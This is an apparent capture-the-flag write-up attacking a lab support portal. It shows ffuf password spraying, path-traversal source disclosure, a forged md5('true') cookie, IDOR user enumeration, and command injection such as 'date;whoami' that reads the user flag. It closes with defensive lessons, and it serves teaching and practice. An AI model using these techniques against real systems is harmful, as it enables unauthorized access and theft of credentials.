Recon
As always, the first move is a service scan to map the attack surface.
❯ nmap -sV -sC <target-ip>PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 64:a1:a5:60:4c:6b:ef:ef:6b:b9:29:3d:15:5f:4d:65 (ECDSA)|_ 256 76:62:6e:77:b7:cf:97:c1:53:7c:8c:4a:f0:21:04:f7 (ED25519)80/tcp open http Apache httpd 2.4.58 ((Ubuntu))| http-cookie-flags:| /:| PHPSESSID:|_ httponly flag not set|_http-title: Support Operations Panel|_http-server-header: Apache/2.4.58 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOnly two ports answer. SSH (22) is a dead end without credentials, which leaves the Apache instance on port 80 as the obvious starting point.
We land on an Employee Authentication panel. The placeholder helpfully suggests an email format (help@support.thm), which seems to actually be a real email. Trying admin@support.thm / admin just gives us an “Invalid credentials” error.
The only cookie set is PHPSESSID, nothing interesting yet, and the page source doesn’t reveal much. Repeated login attempts all return the same error, there’s no obvious rate limiting, which makes this a good candidate for password spraying later.
Enumeration
With no credentials in hand, let’s map out what else the server is hosting.
gobuster dir -u http://<target-ip> \ -w /usr/share/seclists/Discovery/Web-Content/common.txt \ -x bak,phpThe interesting hits:
| Path | Verdict |
|---|---|
includes/ | Contains skin.php: executes, and there’s also a skins folder. Worth a look. |
info.php | A full phpinfo() dump: server paths and every PHP setting. |
skins/ | A collection of color-named files (the themes). |
config.php | Returns 200 but blank: executes server-side, secrets likely inside. |
api.php | Redirects to index.php (auth-gated). |
dashboard.php | Redirects to index.php (auth-gated). |
includes (Status: 301) [--> /includes/]index.php (Status: 200)info.php (Status: 200)skins (Status: 301) [--> /skins/]api.php (Status: 302) [--> index.php]config.php (Status: 200) [Size: 0]dashboard.php (Status: 302) [--> index.php]logout.php (Status: 302) [--> index.php]So we have a login wall in front of dashboard.php and api.php, an empty-but-present config.php, and a phpinfo() leak. Let’s get through the door first.
Spraying the login
Since the portal exposes the help@support.thm address and shows no rate limiting, I sprayed it with ffuf, filtering out the 200 responses (failed logins) so a successful 302 redirect stands out.
❯ ffuf -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \ -X POST \ -d "email=help@support.thm&password=FUZZ" \ -H "Content-Type: application/x-www-form-urlencoded" \ -u http://<target-ip>/ -fc 200
████████ [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 41ms]TIP
-fc 200 filters by status code. A failed login re-renders the page (200); a successful one probably redirects to the dashboard (302), so we filter out the 200.
A spray of admin@support.thm found nothing, but with help@support.thm : ████████ is valid. Logging in drops us on the Support Dashboard as the Helpdesk User.
Exploitation
Step 1: Path-traversal source disclosure via skin
The dashboard has a Select Theme control. Picking a theme reloads the page as dashboard.php?skin=red and injects a matching <style> block:
<style>body { background-color: #ffe5e5; }</style>That skin parameter is clearly being used to pull a file from disk, a LFI / path-traversal candidate. A non-existent color (?skin=yellow) renders nothing, worth a try to see the errors.
NOTE
LFI = Local File Inclusion, tricking an app into reading or executing a file from the server’s own disk. Here it lets us read the application’s own source.
I briefly considered RFI (Remote File Inclusion) to pull in a PHP reverse shell from my own server. The phpinfo() page confirms allow_url_fopen = On…
WARNING
…but, one row down: allow_url_include = Off. RFI through include() needs allow_url_include, not just allow_url_fopen, so the remote-shell route was dead from the start, a good reminder to check which directive governs which sink before committing to a remote-include plan.
So instead of pulling code in, I used the traversal to read source out. The parameter appends .php, so I walked back up to read includes/skin.php:
http://<target-ip>/dashboard.php?skin=../includes/skinThat confirms the sink:
include("skins/" . $skin . ".php");The hard-coded skins/ prefix is another thing that blocks RFI (and stops us escaping cleanly with a wrapper), but it does not stop us reading other .php source files via ../. The juicy target is the auth-gated api.php:
http://<target-ip>/dashboard.php?skin=../api
<?phpsession_start();
if (!isset($_SESSION['loggedin'])) { header('Location: index.php'); exit;}
if (($_COOKIE['isITUser'] ?? md5('false')) !== md5('true')) { die('Access denied');}
include('/var/www/db.php');
$id = $_GET['id'] ?? $_SESSION['user_id'];$user = $users[$id] ?? null;
if (preg_match('#^/user/#', $_SERVER['REQUEST_URI'])) { header('Content-Type: application/json'); unset($user['password']); echo json_encode($user, JSON_PRETTY_PRINT); exit;}?>Two flaws jump out:
- Access control, the gate just checks that a cookie equals
md5('true'). - IDOR,
$id = $_GET['id'] ?? $_SESSION['user_id']: we can request any user byid.
Step 2: Forge the cookie and abuse the IDOR
The app does hand us an isITUser cookie, but its value doesn’t satisfy the check, so hitting api.php directly just returns Access denied:
The check is simply $_COOKIE['isITUser'] !== md5('true'), and md5('true') is b326b5062b2f0e69046810717534cb09, so we just overwrite the cookie with it:
isITUser = b326b5062b2f0e69046810717534cb09With that cookie set, api.php lets us through and returns our own profile (/user/3):
Now the IDOR. The code reflects $_GET['id'], so I walked the user table with ?id=:
===== id=1 ===== "email": "specialadmin@support.thm" "2FA": false "admin": true===== id=2 ===== "email": "IT@support.thm" "2FA": false "admin": false===== id=3 ===== "email": "help@support.thm" "2FA": false "admin": false
We now know the admin account is specialadmin@support.thm, but the API unset()s the password field before returning, so we have the username and no secret, yet.
Step 3: Leak the master password from config.php
Back to the source-disclosure trick for the one file we couldn’t read before, config.php:
http://<target-ip>/dashboard.php?skin=../config<?php$MASTER_PASSWORD = '████████';$SITE_VER = '1.0';$SITE_NAME = 'support_portal';I tried, but that master password was not the admin’s login directly, frustrating at first, since it failed on both the login form and over SSH. But a “master password” left in config might be a hint that the real one is a variant of it. I generated a mangled wordlist from its tokens with rsmangler and sprayed the admin account:
❯ printf '████████\n███\n' > words.txt❯ rsmangler --file words.txt > mutations.txt❯ ffuf -w mutations.txt -X POST \ -d "email=specialadmin@support.thm&password=FUZZ" \ -H "Content-Type: application/x-www-form-urlencoded" \ -u http://<target-ip>/ -fc 200
████████ [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 31ms]████████& [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 35ms]The working password is the same characters as the master one with the symbol dropped. Logging in as specialadmin@support.thm with that variant unlocks the IT Admin Panel and the first flag.
That’s the first flag in the bag. 🚩
Step 4: Command injection in the “Date” function
The admin dashboard adds a new footer control: a Date dropdown that fires a POST with a sys parameter and echoes the server time back.
It looks like the value of sys is passed straight to a shell, tho sending sys=whoami is rejected:
The filter only checks that the command starts with date, so a shell separator bypasses it. sys=date;whoami runs both:
Wed Jun 3 19:26:45 UTC 2026www-dataWe have RCE as www-data. Reading the user flag:
sys=date;cat /home/ubuntu/user.txt
And that’s the box fully owned. 🚩
Takeaways
- No rate limiting = free spraying. The login happily took thousands of
ffufguesses; filtering on the302redirect found the helpdesk password in seconds. - Know which PHP directive guards which sink.
allow_url_fopenletsfopen()reach URLs, butinclude()RFI needsallow_url_include. With the latterOff, the traversal is only good for reading source, which was plenty. - A static prefix isn’t a fix.
include("skins/" . $skin . ".php")blocked RFI but still allowed../traversal to disclose every other.phpfile, including the auth logic itself. md5('true')is not authentication. It’s a predictable, attacker-controllable cookie value.- Secrets in source + an IDOR chain. The IDOR named the admin; the leaked master password (lightly mangled) authenticated as them.
- Blocklists lose to separators. “Must contain
date” falls todate;whoami. Allow-list the exact command instead.